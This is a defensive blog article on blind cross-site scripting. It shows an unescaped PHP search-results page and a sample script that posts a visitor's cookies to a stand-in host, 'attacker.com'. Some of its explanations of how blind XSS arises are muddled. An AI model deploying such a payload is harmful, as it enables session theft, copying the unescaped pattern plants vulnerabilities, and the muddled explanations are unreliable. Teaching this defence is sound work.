Protect Your Website from Blind Cross-Site Scripting
Tags: cybersecurity, javascript, programming, webdev
Published: 2023-02-12 05:20:16

<a class="markup--anchor markup--p-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank" rel="noopener noreferrer nofollow">Blind Cross-Site Scripting (XSS)</a> is a type of security vulnerability often overlooked and underrepresented in many organizations’ threat models.

This can be particularly dangerous, as blind XSS attacks can compromise sensitive information, damage an organization’s reputation, and even result in legal implications.

In this article, we will dive into the topic of Blind XSS, including an overview of its definition, how it differs from traditional XSS, the impact it can have, and the steps organizations can take to protect themselves from these types of attacks.

Blind XSS is an attack that allows an attacker to inject malicious code into a web application.

Unlike traditional <a class="markup--anchor markup--p-anchor" href="https://brightsec.com/blog/xss-attack/" target="_blank" rel="noopener noreferrer nofollow">XSS attacks</a>, in which the attacker can see the injection results, blind XSS does not provide any visual feedback to the attacker.

Instead, the attacker must rely on the victim to trigger the malicious code, often accomplished through social engineering.

This attack can be hazardous, as the attacker can gain access to sensitive information, such as user credentials, without the victim ever realizing they have been targeted.

There are several types of blind XSS, including
<ul>
 	<li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Persistent_%28or_stored%29" target="_blank" rel="noopener noreferrer nofollow">Stored</a></li>
 	<li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Non-persistent_%28reflected%29" target="_blank" rel="noopener noreferrer nofollow">Reflected</a></li>
 	<li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Server-side_versus_DOM-based_vulnerabilities" target="_blank" rel="noopener noreferrer nofollow">DOM-based XSS</a></li>
</ul>
Stored blind XSS is the most dangerous type of blind XSS, as it allows the attacker to persistently inject malicious code into the web application, which can then be triggered by any user who visits the affected page.

Reflected blind XSS is an attack in which the injected code is only present in response to a single request.

In contrast, DOM-based XSS attacks when the attacker can manipulate the web page’s Document Object Model (DOM) to execute malicious code.

Blind XSS attacks can occur through various vectors, including email, instant messaging, and social media platforms.

Here are a few examples of how blind XSS can occur in real-world scenarios:
<ol>
 	<li>Phishing email: An attacker sends an email to an organization’s employees, claiming to be from a trusted source. The email contains a link to a malicious website that injects malicious code into the victim’s browser. This code can then steal sensitive information, such as user credentials, when the victim visits the affected website.</li>
 	<li>Social media post: An attacker creates a social media post that contains a link to a malicious website. When a user clicks on the link, the attacker’s code is injected into the user’s browser, allowing the attacker to steal sensitive information.</li>
 	<li>Instant messaging: An attacker sends a message to a victim through an instant messaging platform, claiming to be from a trusted source. The message contains a link to a malicious website that injects malicious code into the victim’s browser. The attacker can then steal sensitive information from the victim.</li>
 	<li>Online forum: An attacker posts a message in an online forum that contains a link to a malicious website. When a user clicks on the link, the attacker’s code is injected into the user’s browser, allowing the attacker to steal sensitive information.</li>
</ol>
These examples illustrate how blind XSS attacks can be used to steal sensitive information and compromise an organisation’s security.

Here is an example of a code-based scenario that could lead to a blind XSS attack:

Consider a website that allows users to search for products and displays the results on a page. The search results page includes user-generated data, including product names, descriptions, and comments.

The website’s developers have not properly validated the input in the comments section, allowing users to include malicious scripts.

The following code is a simplified example of how this vulnerability could occur:
<pre><code class="language-php">&lt;html&gt;
&lt;body&gt;
&lt;h1&gt;Product Search Results&lt;/h1&gt;
&lt;ul&gt;
&lt;?php
$results = search_products($_GET['query']);
foreach ($results as $product) {
echo '&lt;li&gt;';
echo '&lt;h2&gt;' . $product['name'] . '&lt;/h2&gt;';
echo '&lt;p&gt;' . $product['description'] . '&lt;/p&gt;';
echo '&lt;p&gt;' . $product['comments'] . '&lt;/p&gt;';
echo '&lt;/li&gt;';
}
?&gt;
&lt;/ul&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
In this example, the website’s developers are not properly escaping user input, which could allow an attacker to inject malicious scripts into the comments section.

For example, if an attacker were to search for a product and include the following in the comments section:
<pre><code class="language-javascript">&lt;script&gt;
window.onload = function() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attacker.com/steal_data", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("data=" + document.cookie);
};
&lt;/script&gt;</code></pre>
When a user visits the search results page, the attacker’s code is executed in the user’s browser, allowing the attacker to steal the user’s sensitive information, such as their session cookies.

To prevent this type of blind XSS attack, the website’s developers should properly validate and escape user input to ensure that it is safe to be displayed on the page.

For example, they could use the <strong>htmlspecialchars</strong> function in PHP to escape any special characters that could be used to inject malicious scripts.

Once the code has been injected, the attacker can wait for the victim to trigger the code, which can occur through actions such as visiting a specific website, filling out a form, or opening a file.

The impact of a successful blind XSS attack can be far-reaching. The attacker can steal sensitive information, such as user credentials, financial information, and personal information.

This can result in data theft, which can have profound financial implications for the organization and its customers.

Additionally, a successful blind XSS attack can damage an organization’s reputation, losing customer and stakeholder trust.

In some cases, the legal implications of a blind XSS attack can also be severe, as the organization may be held responsible for not adequately protecting its customers’ information.
<h4>How To Protect Against XSS attacks</h4>
So, what can organizations do to protect themselves from blind XSS attacks? The first step is to implement<strong> input validation</strong>, which involves checking user-supplied data before the web application processes it.

This can help to prevent malicious code from being injected into the web application in the first place. Another critical step is to implement a Content Security Policy (CSP), which is a security policy that helps to prevent cross-site scripting attacks by specifying which sources of content are allowed to be loaded by the web application.

Input validation and CSP organizations should also implement server-side validation, which involves checking the data on the server before the web application processes it.

This can help prevent malicious code from being executed even if injected into the web application.

Additionally, organizations should regularly test their web applications for security vulnerabilities.

One important consideration for blind XSS defence is to prioritize protecting sensitive information.

This may involve implementing additional security measures, such as two-factor authentication, encryption, and monitoring, to protect sensitive information even if a blind XSS attack is successful.

Organizations should also educate their employees on the dangers of blind XSS and the importance of being vigilant when clicking on links or downloading files from unknown sources.
<h4>Conclusion</h4>
In conclusion, blind XSS is a type of security vulnerability that can have severe consequences for organizations.

While it can be challenging to detect and prevent, organizations can take steps to protect themselves, including implementing input validation, CSP, and server-side validation.

Additionally, organizations should prioritize protecting sensitive information, educate their employees on the dangers of blind XSS, and regularly test their web applications for security vulnerabilities. By taking these steps, organizations can reduce the risk of a successful blind XSS attack and protect their customers’ sensitive information.
<h4>Resources</h4>
<ul>
 	<li><a class="markup--anchor markup--li-anchor" href="https://portswigger.net/web-security/cross-site-scripting" target="_blank" rel="noopener noreferrer nofollow">PortSwagger</a></li>
 	<li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank" rel="noopener noreferrer nofollow">Wikipedia</a></li>
</ul>